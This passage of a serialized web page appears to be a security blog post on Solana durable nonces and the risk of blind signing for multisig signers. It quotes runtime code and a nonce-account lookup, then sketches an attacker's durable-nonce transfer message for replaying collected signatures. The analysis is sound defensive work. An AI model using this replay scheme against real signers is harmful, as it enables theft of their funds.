}\n",[69781],{"type":23,"tag":71,"props":69782,"children":69783},{"__ignoreMap":7},[69784,69831,69897,69917,69937,69967,69975,70029,70046,70066,70078,70090,70098,70105,70124,70151,70171,70178,70193,70223,70252],{"type":23,"tag":230,"props":69785,"children":69786},{"class":232,"line":233},[69787,69791,69796,69800,69805,69809,69814,69818,69822,69827],{"type":23,"tag":230,"props":69788,"children":69789},{"style":256},[69790],{"type":29,"value":5340},{"type":23,"tag":230,"props":69792,"children":69793},{"style":262},[69794],{"type":29,"value":69795}," recent_blockhash",{"type":23,"tag":230,"props":69797,"children":69798},{"style":268},[69799],{"type":29,"value":271},{"type":23,"tag":230,"props":69801,"children":69802},{"style":262},[69803],{"type":29,"value":69804}," tx",{"type":23,"tag":230,"props":69806,"children":69807},{"style":268},[69808],{"type":29,"value":312},{"type":23,"tag":230,"props":69810,"children":69811},{"style":294},[69812],{"type":29,"value":69813},"message",{"type":23,"tag":230,"props":69815,"children":69816},{"style":274},[69817],{"type":29,"value":16206},{"type":23,"tag":230,"props":69819,"children":69820},{"style":268},[69821],{"type":29,"value":312},{"type":23,"tag":230,"props":69823,"children":69824},{"style":294},[69825],{"type":29,"value":69826},"recent_blockhash",{"type":23,"tag":230,"props":69828,"children":69829},{"style":274},[69830],{"type":29,"value":2140},{"type":23,"tag":230,"props":69832,"children":69833},{"class":232,"line":243},[69834,69838,69842,69846,69850,69855,69859,69863,69868,69872,69877,69881,69885,69889,69893],{"type":23,"tag":230,"props":69835,"children":69836},{"style":866},[69837],{"type":29,"value":1493},{"type":23,"tag":230,"props":69839,"children":69840},{"style":256},[69841],{"type":29,"value":29612},{"type":23,"tag":230,"props":69843,"children":69844},{"style":676},[69845],{"type":29,"value":29617},{"type":23,"tag":230,"props":69847,"children":69848},{"style":274},[69849],{"type":29,"value":302},{"type":23,"tag":230,"props":69851,"children":69852},{"style":262},[69853],{"type":29,"value":69854},"hash_info",{"type":23,"tag":230,"props":69856,"children":69857},{"style":274},[69858],{"type":29,"value":703},{"type":23,"tag":230,"props":69860,"children":69861},{"style":268},[69862],{"type":29,"value":863},{"type":23,"tag":230,"props":69864,"children":69865},{"style":262},[69866],{"type":29,"value":69867}," hash_queue",{"type":23,"tag":230,"props":69869,"children":69870},{"style":268},[69871],{"type":29,"value":312},{"type":23,"tag":230,"props":69873,"children":69874},{"style":294},[69875],{"type":29,"value":69876},"get_hash_info_if_valid",{"type":23,"tag":230,"props":69878,"children":69879},{"style":274},[69880],{"type":29,"value":302},{"type":23,"tag":230,"props":69882,"children":69883},{"style":262},[69884],{"type":29,"value":69826},{"type":23,"tag":230,"props":69886,"children":69887},{"style":274},[69888],{"type":29,"value":684},{"type":23,"tag":230,"props":69890,"children":69891},{"style":262},[69892],{"type":29,"value":69617},{"type":23,"tag":230,"props":69894,"children":69895},{"style":274},[69896],{"type":29,"value":827},{"type":23,"tag":230,"props":69898,"children":69899},{"class":232,"line":252},[69900,69904,69908,69913],{"type":23,"tag":230,"props":69901,"children":69902},{"style":676},[69903],{"type":29,"value":17138},{"type":23,"tag":230,"props":69905,"children":69906},{"style":274},[69907],{"type":29,"value":302},{"type":23,"tag":230,"props":69909,"children":69910},{"style":676},[69911],{"type":29,"value":69912},"CheckedTransactionDetails",{"type":23,"tag":230,"props":69914,"children":69915},{"style":274},[69916],{"type":29,"value":277},{"type":23,"tag":230,"props":69918,"children":69919},{"class":232,"line":280},[69920,69925,69929,69933],{"type":23,"tag":230,"props":69921,"children":69922},{"style":262},[69923],{"type":29,"value":69924},"            nonce",{"type":23,"tag":230,"props":69926,"children":69927},{"style":268},[69928],{"type":29,"value":218},{"type":23,"tag":230,"props":69930,"children":69931},{"style":676},[69932],{"type":29,"value":30065},{"type":23,"tag":230,"props":69934,"children":69935},{"style":274},[69936],{"type":29,"value":388},{"type":23,"tag":230,"props":69938,"children":69939},{"class":232,"line":334},[69940,69945,69949,69954,69958,69963],{"type":23,"tag":230,"props":69941,"children":69942},{"style":262},[69943],{"type":29,"value":69944},"            lamports_per_signature",{"type":23,"tag":230,"props":69946,"children":69947},{"style":268},[69948],{"type":29,"value":218},{"type":23,"tag":230,"props":69950,"children":69951},{"style":262},[69952],{"type":29,"value":69953}," hash_info",{"type":23,"tag":230,"props":69955,"children":69956},{"style":268},[69957],{"type":29,"value":312},{"type":23,"tag":230,"props":69959,"children":69960},{"style":294},[69961],{"type":29,"value":69962},"lamports_per_signature",{"type":23,"tag":230,"props":69964,"children":69965},{"style":274},[69966],{"type":29,"value":5827},{"type":23,"tag":230,"props":69968,"children":69969},{"class":232,"line":371},[69970],{"type":23,"tag":230,"props":69971,"children":69972},{"style":274},[69973],{"type":29,"value":69974},"        })\n",{"type":23,"tag":230,"props":69976,"children":69977},{"class":232,"line":391},[69978,69982,69986,69990,69994,69998,70002,70007,70011,70016,70020,70024],{"type":23,"tag":230,"props":69979,"children":69980},{"style":274},[69981],{"type":29,"value":18103},{"type":23,"tag":230,"props":69983,"children":69984},{"style":866},[69985],{"type":29,"value":5654},{"type":23,"tag":230,"props":69987,"children":69988},{"style":866},[69989],{"type":29,"value":18112},{"type":23,"tag":230,"props":69991,"children":69992},{"style":256},[69993],{"type":29,"value":29612},{"type":23,"tag":230,"props":69995,"children":69996},{"style":676},[69997],{"type":29,"value":29617},{"type":23,"tag":230,"props":69999,"children":70000},{"style":274},[70001],{"type":29,"value":33821},{"type":23,"tag":230,"props":70003,"children":70004},{"style":262},[70005],{"type":29,"value":70006},"nonce",{"type":23,"tag":230,"props":70008,"children":70009},{"style":274},[70010],{"type":29,"value":684},{"type":23,"tag":230,"props":70012,"children":70013},{"style":262},[70014],{"type":29,"value":70015},"previous_lamports_per_signature",{"type":23,"tag":230,"props":70017,"children":70018},{"style":274},[70019],{"type":29,"value":11171},{"type":23,"tag":230,"props":70021,"children":70022},{"style":268},[70023],{"type":29,"value":863},{"type":23,"tag":230,"props":70025,"children":70026},{"style":256},[70027],{"type":29,"value":70028}," self\n",{"type":23,"tag":230,"props":70030,"children":70031},{"class":232,"line":400},[70032,70037,70042],{"type":23,"tag":230,"props":70033,"children":70034},{"style":268},[70035],{"type":29,"value":70036},"        .",{"type":23,"tag":230,"props":70038,"children":70039},{"style":294},[70040],{"type":29,"value":70041},"check_load_and_advance_message_nonce_account",{"type":23,"tag":230,"props":70043,"children":70044},{"style":274},[70045],{"type":29,"value":619},{"type":23,"tag":230,"props":70047,"children":70048},{"class":232,"line":444},[70049,70054,70058,70062],{"type":23,"tag":230,"props":70050,"children":70051},{"style":262},[70052],{"type":29,"value":70053},"            tx",{"type":23,"tag":230,"props":70055,"children":70056},{"style":268},[70057],{"type":29,"value":312},{"type":23,"tag":230,"props":70059,"children":70060},{"style":294},[70061],{"type":29,"value":69813},{"type":23,"tag":230,"props":70063,"children":70064},{"style":274},[70065],{"type":29,"value":5827},{"type":23,"tag":230,"props":70067,"children":70068},{"class":232,"line":453},[70069,70074],{"type":23,"tag":230,"props":70070,"children":70071},{"style":262},[70072],{"type":29,"value":70073},"            next_durable_nonce",{"type":23,"tag":230,"props":70075,"children":70076},{"style":274},[70077],{"type":29,"value":388},{"type":23,"tag":230,"props":70079,"children":70080},{"class":232,"line":462},[70081,70086],{"type":23,"tag":230,"props":70082,"children":70083},{"style":262},[70084],{"type":29,"value":70085},"            next_lamports_per_signature",{"type":23,"tag":230,"props":70087,"children":70088},{"style":274},[70089],{"type":29,"value":388},{"type":23,"tag":230,"props":70091,"children":70092},{"class":232,"line":471},[70093],{"type":23,"tag":230,"props":70094,"children":70095},{"style":274},[70096],{"type":29,"value":70097},"        )\n",{"type":23,"tag":230,"props":70099,"children":70100},{"class":232,"line":500},[70101],{"type":23,"tag":230,"props":70102,"children":70103},{"style":274},[70104],{"type":29,"value":31494},{"type":23,"tag":230,"props":70106,"children":70107},{"class":232,"line":514},[70108,70112,70116,70120],{"type":23,"tag":230,"props":70109,"children":70110},{"style":676},[70111],{"type":29,"value":17138},{"type":23,"tag":230,"props":70113,"children":70114},{"style":274},[70115],{"type":29,"value":302},{"type":23,"tag":230,"props":70117,"children":70118},{"style":676},[70119],{"type":29,"value":69912},{"type":23,"tag":230,"props":70121,"children":70122},{"style":274},[70123],{"type":29,"value":277},{"type":23,"tag":230,"props":70125,"children":70126},{"class":232,"line":897},[70127,70131,70135,70139,70143,70147],{"type":23,"tag":230,"props":70128,"children":70129},{"style":262},[70130],{"type":29,"value":69924},{"type":23,"tag":230,"props":70132,"children":70133},{"style":268},[70134],{"type":29,"value":218},{"type":23,"tag":230,"props":70136,"children":70137},{"style":676},[70138],{"type":29,"value":29617},{"type":23,"tag":230,"props":70140,"children":70141},{"style":274},[70142],{"type":29,"value":302},{"type":23,"tag":230,"props":70144,"children":70145},{"style":262},[70146],{"type":29,"value":70006},{"type":23,"tag":230,"props":70148,"children":70149},{"style":274},[70150],{"type":29,"value":331},{"type":23,"tag":230,"props":70152,"children":70153},{"class":232,"line":960},[70154,70158,70162,70167],{"type":23,"tag":230,"props":70155,"children":70156},{"style":262},[70157],{"type":29,"value":69944},{"type":23,"tag":230,"props":70159,"children":70160},{"style":268},[70161],{"type":29,"value":218},{"type":23,"tag":230,"props":70163,"children":70164},{"style":262},[70165],{"type":29,"value":70166}," previous_lamports_per_signature",{"type":23,"tag":230,"props":70168,"children":70169},{"style":274},[70170],{"type":29,"value":388},{"type":23,"tag":230,"props":70172,"children":70173},{"class":232,"line":969},[70174],{"type":23,"tag":230,"props":70175,"children":70176},{"style":274},[70177],{"type":29,"value":69974},{"type":23,"tag":230,"props":70179,"children":70180},{"class":232,"line":4526},[70181,70185,70189],{"type":23,"tag":230,"props":70182,"children":70183},{"style":274},[70184],{"type":29,"value":18103},{"type":23,"tag":230,"props":70186,"children":70187},{"style":866},[70188],{"type":29,"value":5654},{"type":23,"tag":230,"props":70190,"children":70191},{"style":274},[70192],{"type":29,"value":277},{"type":23,"tag":230,"props":70194,"children":70195},{"class":232,"line":4534},[70196,70201,70205,70210,70215,70219],{"type":23,"tag":230,"props":70197,"children":70198},{"style":262},[70199],{"type":29,"value":70200},"        error_counters",{"type":23,"tag":230,"props":70202,"children":70203},{"style":268},[70204],{"type":29,"value":312},{"type":23,"tag":230,"props":70206,"children":70207},{"style":274},[70208],{"type":29,"value":70209},"blockhash_not_found ",{"type":23,"tag":230,"props":70211,"children":70212},{"style":268},[70213],{"type":29,"value":70214},"+=",{"type":23,"tag":230,"props":70216,"children":70217},{"style":5149},[70218],{"type":29,"value":6861},{"type":23,"tag":230,"props":70220,"children":70221},{"style":274},[70222],{"type":29,"value":511},{"type":23,"tag":230,"props":70224,"children":70225},{"class":232,"line":4542},[70226,70230,70234,70239,70243,70248],{"type":23,"tag":230,"props":70227,"children":70228},{"style":676},[70229],{"type":29,"value":17180},{"type":23,"tag":230,"props":70231,"children":70232},{"style":274},[70233],{"type":29,"value":302},{"type":23,"tag":230,"props":70235,"children":70236},{"style":676},[70237],{"type":29,"value":70238},"TransactionError",{"type":23,"tag":230,"props":70240,"children":70241},{"style":268},[70242],{"type":29,"value":5818},{"type":23,"tag":230,"props":70244,"children":70245},{"style":676},[70246],{"type":29,"value":70247},"BlockhashNotFound",{"type":23,"tag":230,"props":70249,"children":70250},{"style":274},[70251],{"type":29,"value":4516},{"type":23,"tag":230,"props":70253,"children":70254},{"class":232,"line":4559},[70255],{"type":23,"tag":230,"props":70256,"children":70257},{"style":274},[70258],{"type":29,"value":1552},{"type":23,"tag":32,"props":70260,"children":70261},{},[70262],{"type":29,"value":70263},"The documentation does a good job of explaining how they work.",{"type":23,"tag":5272,"props":70265,"children":70266},{},[70267],{"type":23,"tag":32,"props":70268,"children":70269},{},[70270],{"type":29,"value":70271},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":23,"tag":32,"props":70273,"children":70274},{},[70275,70277,70284],{"type":29,"value":70276},"Durable nonces are created and managed ",{"type":23,"tag":181,"props":70278,"children":70281},{"href":70279,"rel":70280},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[185],[70282],{"type":29,"value":70283},"by the system program",{"type":29,"value":70285},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":23,"tag":32,"props":70287,"children":70288},{},[70289,70291,70298],{"type":29,"value":70290},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":23,"tag":181,"props":70292,"children":70295},{"href":70293,"rel":70294},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[185],[70296],{"type":29,"value":70297},"based on the current blockhash",{"type":29,"value":70299},", and cannot be predicted in advance.",{"type":23,"tag":220,"props":70301,"children":70303},{"className":5320,"code":70302,"language":5319,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[70304],{"type":23,"tag":71,"props":70305,"children":70306},{"__ignoreMap":7},[70307,70359,70392],{"type":23,"tag":230,"props":70308,"children":70309},{"class":232,"line":233},[70310,70314,70318,70322,70326,70330,70335,70339,70343,70347,70351,70355],{"type":23,"tag":230,"props":70311,"children":70312},{"style":256},[70313],{"type":29,"value":5340},{"type":23,"tag":230,"props":70315,"children":70316},{"style":262},[70317],{"type":29,"value":69867},{"type":23,"tag":230,"props":70319,"children":70320},{"style":268},[70321],{"type":29,"value":271},{"type":23,"tag":230,"props":70323,"children":70324},{"style":256},[70325],{"type":29,"value":16124},{"type":23,"tag":230,"props":70327,"children":70328},{"style":268},[70329],{"type":29,"value":312},{"type":23,"tag":230,"props":70331,"children":70332},{"style":274},[70333],{"type":29,"value":70334},"blockhash_queue",{"type":23,"tag":230,"props":70336,"children":70337},{"style":268},[70338],{"type":29,"value":312},{"type":23,"tag":230,"props":70340,"children":70341},{"style":294},[70342],{"type":29,"value":62415},{"type":23,"tag":230,"props":70344,"children":70345},{"style":274},[70346],{"type":29,"value":16206},{"type":23,"tag":230,"props":70348,"children":70349},{"style":268},[70350],{"type":29,"value":312},{"type":23,"tag":230,"props":70352,"children":70353},{"style":294},[70354],{"type":29,"value":6001},{"type":23,"tag":230,"props":70356,"children":70357},{"style":274},[70358],{"type":29,"value":2140},{"type":23,"tag":230,"props":70360,"children":70361},{"class":232,"line":243},[70362,70366,70371,70375,70379,70383,70388],{"type":23,"tag":230,"props":70363,"children":70364},{"style":256},[70365],{"type":29,"value":5340},{"type":23,"tag":230,"props":70367,"children":70368},{"style":262},[70369],{"type":29,"value":70370}," last_blockhash",{"type":23,"tag":230,"props":70372,"children":70373},{"style":268},[70374],{"type":29,"value":271},{"type":23,"tag":230,"props":70376,"children":70377},{"style":262},[70378],{"type":29,"value":69867},{"type":23,"tag":230,"props":70380,"children":70381},{"style":268},[70382],{"type":29,"value":312},{"type":23,"tag":230,"props":70384,"children":70385},{"style":294},[70386],{"type":29,"value":70387},"last_hash",{"type":23,"tag":230,"props":70389,"children":70390},{"style":274},[70391],{"type":29,"value":2140},{"type":23,"tag":230,"props":70393,"children":70394},{"class":232,"line":252},[70395,70399,70404,70408,70413,70417,70422,70426,70430,70435],{"type":23,"tag":230,"props":70396,"children":70397},{"style":256},[70398],{"type":29,"value":5340},{"type":23,"tag":230,"props":70400,"children":70401},{"style":262},[70402],{"type":29,"value":70403}," next_durable_nonce",{"type":23,"tag":230,"props":70405,"children":70406},{"style":268},[70407],{"type":29,"value":271},{"type":23,"tag":230,"props":70409,"children":70410},{"style":676},[70411],{"type":29,"value":70412}," DurableNonce",{"type":23,"tag":230,"props":70414,"children":70415},{"style":268},[70416],{"type":29,"value":5818},{"type":23,"tag":230,"props":70418,"children":70419},{"style":294},[70420],{"type":29,"value":70421},"from_blockhash",{"type":23,"tag":230,"props":70423,"children":70424},{"style":274},[70425],{"type":29,"value":302},{"type":23,"tag":230,"props":70427,"children":70428},{"style":268},[70429],{"type":29,"value":5448},{"type":23,"tag":230,"props":70431,"children":70432},{"style":262},[70433],{"type":29,"value":70434},"last_blockhash",{"type":23,"tag":230,"props":70436,"children":70437},{"style":274},[70438],{"type":29,"value":753},{"type":23,"tag":32,"props":70440,"children":70441},{},[70442,70444,70449],{"type":29,"value":70443},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":23,"tag":2258,"props":70445,"children":70446},{},[70447],{"type":29,"value":70448},"can",{"type":29,"value":70450}," be saved and reused.",{"type":23,"tag":24,"props":70452,"children":70454},{"id":70453},"threat-model",[70455],{"type":29,"value":70456},"Threat Model",{"type":23,"tag":32,"props":70458,"children":70459},{},[70460],{"type":29,"value":70461},"Let's consider a simplified form of the original question.",{"type":23,"tag":144,"props":70463,"children":70464},{},[70465,70470,70475],{"type":23,"tag":102,"props":70466,"children":70467},{},[70468],{"type":29,"value":70469},"We have a N/M multisig",{"type":23,"tag":102,"props":70471,"children":70472},{},[70473],{"type":29,"value":70474},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":23,"tag":102,"props":70476,"children":70477},{},[70478],{"type":29,"value":70479},"We can accurately query chain state.",{"type":23,"tag":32,"props":70481,"children":70482},{},[70483],{"type":29,"value":70484},"Can we safely sign transactions?",{"type":23,"tag":32,"props":70486,"children":70487},{},[70488],{"type":29,"value":70489},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":23,"tag":32,"props":70491,"children":70492},{},[70493,70495,70501,70503,70510],{"type":29,"value":70494},"Durable nonces require an onchain account, and it's possible to use a ",{"type":23,"tag":71,"props":70496,"children":70498},{"className":70497},[],[70499],{"type":29,"value":70500},"getProgramAccounts",{"type":29,"value":70502}," call to validate if your signer ",{"type":23,"tag":181,"props":70504,"children":70507},{"href":70505,"rel":70506},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[185],[70508],{"type":29,"value":70509},"has an associated durable nonce",{"type":29,"value":312},{"type":23,"tag":220,"props":70512,"children":70514},{"className":575,"code":70513,"language":577,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n",[70515],{"type":23,"tag":71,"props":70516,"children":70517},{"__ignoreMap":7},[70518,70565,70601,70609,70621,70629,70641,70649,70657,70674,70681,70688,70696,70704,70716,70742,70759,70766,70773,70781,70788],{"type":23,"tag":230,"props":70519,"children":70520},{"class":232,"line":233},[70521,70525,70530,70534,70538,70543,70547,70552,70556,70561],{"type":23,"tag":230,"props":70522,"children":70523},{"style":256},[70524],{"type":29,"value":259},{"type":23,"tag":230,"props":70526,"children":70527},{"style":262},[70528],{"type":29,"value":70529}," connection",{"type":23,"tag":230,"props":70531,"children":70532},{"style":268},[70533],{"type":29,"value":271},{"type":23,"tag":230,"props":70535,"children":70536},{"style":256},[70537],{"type":29,"value":291},{"type":23,"tag":230,"props":70539,"children":70540},{"style":294},[70541],{"type":29,"value":70542}," Connection",{"type":23,"tag":230,"props":70544,"children":70545},{"style":274},[70546],{"type":29,"value":302},{"type":23,"tag":230,"props":70548,"children":70549},{"style":294},[70550],{"type":29,"value":70551},"clusterApiUrl",{"type":23,"tag":230,"props":70553,"children":70554},{"style":274},[70555],{"type":29,"value":302},{"type":23,"tag":230,"props":70557,"children":70558},{"style":380},[70559],{"type":29,"value":70560},"'testnet'",{"type":23,"tag":230,"props":70562,"children":70563},{"style":274},[70564],{"type":29,"value":9559},{"type":23,"tag":230,"props":70566,"children":70567},{"class":232,"line":243},[70568,70572,70577,70581,70585,70589,70593,70597],{"type":23,"tag":230,"props":70569,"children":70570},{"style":256},[70571],{"type":29,"value":259},{"type":23,"tag":230,"props":70573,"children":70574},{"style":262},[70575],{"type":29,"value":70576}," nonceAccounts",{"type":23,"tag":230,"props":70578,"children":70579},{"style":268},[70580],{"type":29,"value":271},{"type":23,"tag":230,"props":70582,"children":70583},{"style":866},[70584],{"type":29,"value":869},{"type":23,"tag":230,"props":70586,"children":70587},{"style":262},[70588],{"type":29,"value":70529},{"type":23,"tag":230,"props":70590,"children":70591},{"style":274},[70592],{"type":29,"value":312},{"type":23,"tag":230,"props":70594,"children":70595},{"style":294},[70596],{"type":29,"value":70500},{"type":23,"tag":230,"props":70598,"children":70599},{"style":274},[70600],{"type":29,"value":619},{"type":23,"tag":230,"props":70602,"children":70603},{"class":232,"line":252},[70604],{"type":23,"tag":230,"props":70605,"children":70606},{"style":237},[70607],{"type":29,"value":70608},"  // The system program owns all nonce accounts.\n",{"type":23,"tag":230,"props":70610,"children":70611},{"class":232,"line":280},[70612,70617],{"type":23,"tag":230,"props":70613,"children":70614},{"style":262},[70615],{"type":29,"value":70616},"  SYSTEM_PROGRAM_ADDRESS",{"type":23,"tag":230,"props":70618,"children":70619},{"style":274},[70620],{"type":29,"value":388},{"type":23,"tag":230,"props":70622,"children":70623},{"class":232,"line":334},[70624],{"type":23,"tag":230,"props":70625,"children":70626},{"style":274},[70627],{"type":29,"value":70628},"  {\n",{"type":23,"tag":230,"props":70630,"children":70631},{"class":232,"line":371},[70632,70637],{"type":23,"tag":230,"props":70633,"children":70634},{"style":262},[70635],{"type":29,"value":70636},"    filters:",{"type":23,"tag":230,"props":70638,"children":70639},{"style":274},[70640],{"type":29,"value":27928},{"type":23,"tag":230,"props":70642,"children":70643},{"class":232,"line":391},[70644],{"type":23,"tag":230,"props":70645,"children":70646},{"style":274},[70647],{"type":29,"value":70648},"      {\n",{"type":23,"tag":230,"props":70650,"children":70651},{"class":232,"line":400},[70652],{"type":23,"tag":230,"props":70653,"children":70654},{"style":237},[70655],{"type":29,"value":70656},"        // Nonce accounts are exactly 80 bytes long\n",{"type":23,"tag":230,"props":70658,"children":70659},{"class":232,"line":444},[70660,70665,70670],{"type":23,"tag":230,"props":70661,"children":70662},{"style":262},[70663],{"type":29,"value":70664},"        dataSize:",{"type":23,"tag":230,"props":70666,"children":70667},{"style":5149},[70668],{"type":29,"value":70669}," 80",{"type":23,"tag":230,"props":70671,"children":70672},{"style":274},[70673],{"type":29,"value":388},{"type":23,"tag":230,"props":70675,"children":70676},{"class":232,"line":453},[70677],{"type":23,"tag":230,"props":70678,"children":70679},{"style":274},[70680],{"type":29,"value":1875},{"type":23,"tag":230,"props":70682,"children":70683},{"class":232,"line":462},[70684],{"type":23,"tag":230,"props":70685,"children":70686},{"style":274},[70687],{"type":29,"value":70648},{"type":23,"tag":230,"props":70689,"children":70690},{"class":232,"line":471},[70691],{"type":23,"tag":230,"props":70692,"children":70693},{"style":237},[70694],{"type":29,"value":70695},"        // The authority's 32-byte public key is written\n",{"type":23,"tag":230,"props":70697,"children":70698},{"class":232,"line":500},[70699],{"type":23,"tag":230,"props":70700,"children":70701},{"style":237},[70702],{"type":29,"value":70703},"        // into bytes 8-40 of the nonce's account data.\n",{"type":23,"tag":230,"props":70705,"children":70706},{"class":232,"line":514},[70707,70712],{"type":23,"tag":230,"props":70708,"children":70709},{"style":262},[70710],{"type":29,"value":70711},"        memcmp:",{"type":23,"tag":230,"props":70713,"children":70714},{"style":274},[70715],{"type":29,"value":277},{"type":23,"tag":230,"props":70717,"children":70718},{"class":232,"line":897},[70719,70724,70729,70733,70738],{"type":23,"tag":230,"props":70720,"children":70721},{"style":262},[70722],{"type":29,"value":70723},"          bytes:",{"type":23,"tag":230,"props":70725,"children":70726},{"style":262},[70727],{"type":29,"value":70728}," AUTHORITY_PUBLIC_KEY",{"type":23,"tag":230,"props":70730,"children":70731},{"style":274},[70732],{"type":29,"value":312},{"type":23,"tag":230,"props":70734,"children":70735},{"style":294},[70736],{"type":29,"value":70737},"toBase58",{"type":23,"tag":230,"props":70739,"children":70740},{"style":274},[70741],{"type":29,"value":5827},{"type":23,"tag":230,"props":70743,"children":70744},{"class":232,"line":960},[70745,70750,70755],{"type":23,"tag":230,"props":70746,"children":70747},{"style":262},[70748],{"type":29,"value":70749},"          offset:",{"type":23,"tag":230,"props":70751,"children":70752},{"style":5149},[70753],{"type":29,"value":70754}," 8",{"type":23,"tag":230,"props":70756,"children":70757},{"style":274},[70758],{"type":29,"value":388},{"type":23,"tag":230,"props":70760,"children":70761},{"class":232,"line":969},[70762],{"type":23,"tag":230,"props":70763,"children":70764},{"style":274},[70765],{"type":29,"value":27680},{"type":23,"tag":230,"props":70767,"children":70768},{"class":232,"line":4526},[70769],{"type":23,"tag":230,"props":70770,"children":70771},{"style":274},[70772],{"type":29,"value":1875},{"type":23,"tag":230,"props":70774,"children":70775},{"class":232,"line":4534},[70776],{"type":23,"tag":230,"props":70777,"children":70778},{"style":274},[70779],{"type":29,"value":70780},"    ],\n",{"type":23,"tag":230,"props":70782,"children":70783},{"class":232,"line":4542},[70784],{"type":23,"tag":230,"props":70785,"children":70786},{"style":274},[70787],{"type":29,"value":1331},{"type":23,"tag":230,"props":70789,"children":70790},{"class":232,"line":4559},[70791],{"type":23,"tag":230,"props":70792,"children":70793},{"style":274},[70794],{"type":29,"value":753},{"type":23,"tag":32,"props":70796,"children":70797},{},[70798,70800,70808],{"type":29,"value":70799},"Unfortunately this is not sufficient",{"type":23,"tag":17798,"props":70801,"children":70802},{},[70803],{"type":23,"tag":181,"props":70804,"children":70806},{"href":31931,"ariaDescribedBy":70805,"dataFootnoteRef":7,"id":31933},[17805],[70807],{"type":29,"value":6348},{"type":29,"value":70809},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":23,"tag":220,"props":70811,"children":70813},{"className":5320,"code":70812,"language":5319,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[70814],{"type":23,"tag":71,"props":70815,"children":70816},{"__ignoreMap":7},[70817,70883,70899,70982],{"type":23,"tag":230,"props":70818,"children":70819},{"class":232,"line":233},[70820,70824,70828,70832,70837,70841,70845,70849,70853,70857,70861,70865,70870,70874,70879],{"type":23,"tag":230,"props":70821,"children":70822},{"style":256},[70823],{"type":29,"value":5340},{"type":23,"tag":230,"props":70825,"children":70826},{"style":262},[70827],{"type":29,"value":45138},{"type":23,"tag":230,"props":70829,"children":70830},{"style":268},[70831],{"type":29,"value":271},{"type":23,"tag":230,"props":70833,"children":70834},{"style":274},[70835],{"type":29,"value":70836}," system_instruction",{"type":23,"tag":230,"props":70838,"children":70839},{"style":268},[70840],{"type":29,"value":5818},{"type":23,"tag":230,"props":70842,"children":70843},{"style":294},[70844],{"type":29,"value":34417},{"type":23,"tag":230,"props":70846,"children":70847},{"style":274},[70848],{"type":29,"value":302},{"type":23,"tag":230,"props":70850,"children":70851},{"style":268},[70852],{"type":29,"value":5448},{"type":23,"tag":230,"props":70854,"children":70855},{"style":262},[70856],{"type":29,"value":4276},{"type":23,"tag":230,"props":70858,"children":70859},{"style":274},[70860],{"type":29,"value":684},{"type":23,"tag":230,"props":70862,"children":70863},{"style":268},[70864],{"type":29,"value":5448},{"type":23,"tag":230,"props":70866,"children":70867},{"style":262},[70868],{"type":29,"value":70869},"ledger_base_pubkey",{"type":23,"tag":230,"props":70871,"children":70872},{"style":274},[70873],{"type":29,"value":684},{"type":23,"tag":230,"props":70875,"children":70876},{"style":5149},[70877],{"type":29,"value":70878},"42",{"type":23,"tag":230,"props":70880,"children":70881},{"style":274},[70882],{"type":29,"value":753},{"type":23,"tag":230,"props":70884,"children":70885},{"class":232,"line":243},[70886,70890,70895],{"type":23,"tag":230,"props":70887,"children":70888},{"style":256},[70889],{"type":29,"value":5340},{"type":23,"tag":230,"props":70891,"children":70892},{"style":262},[70893],{"type":29,"value":70894}," message",{"type":23,"tag":230,"props":70896,"children":70897},{"style":268},[70898],{"type":29,"value":497},{"type":23,"tag":230,"props":70900,"children":70901},{"class":232,"line":252},[70902,70907,70911,70916,70920,70924,70928,70932,70936,70940,70944,70948,70953,70957,70961,70966,70970,70974,70978],{"type":23,"tag":230,"props":70903,"children":70904},{"style":676},[70905],{"type":29,"value":70906},"        Message",{"type":23,"tag":230,"props":70908,"children":70909},{"style":268},[70910],{"type":29,"value":5818},{"type":23,"tag":230,"props":70912,"children":70913},{"style":294},[70914],{"type":29,"value":70915},"new_with_nonce",{"type":23,"tag":230,"props":70917,"children":70918},{"style":274},[70919],{"type":29,"value":302},{"type":23,"tag":230,"props":70921,"children":70922},{"style":294},[70923],{"type":29,"value":6211},{"type":23,"tag":230,"props":70925,"children":70926},{"style":274},[70927],{"type":29,"value":6069},{"type":23,"tag":230,"props":70929,"children":70930},{"style":262},[70931],{"type":29,"value":45448},{"type":23,"tag":230,"props":70933,"children":70934},{"style":274},[70935],{"type":29,"value":25375},{"type":23,"tag":230,"props":70937,"children":70938},{"style":676},[70939],{"type":29,"value":43787},{"type":23,"tag":230,"props":70941,"children":70942},{"style":274},[70943],{"type":29,"value":302},{"type":23,"tag":230,"props":70945,"children":70946},{"style":268},[70947],{"type":29,"value":5448},{"type":23,"tag":230,"props":70949,"children":70950},{"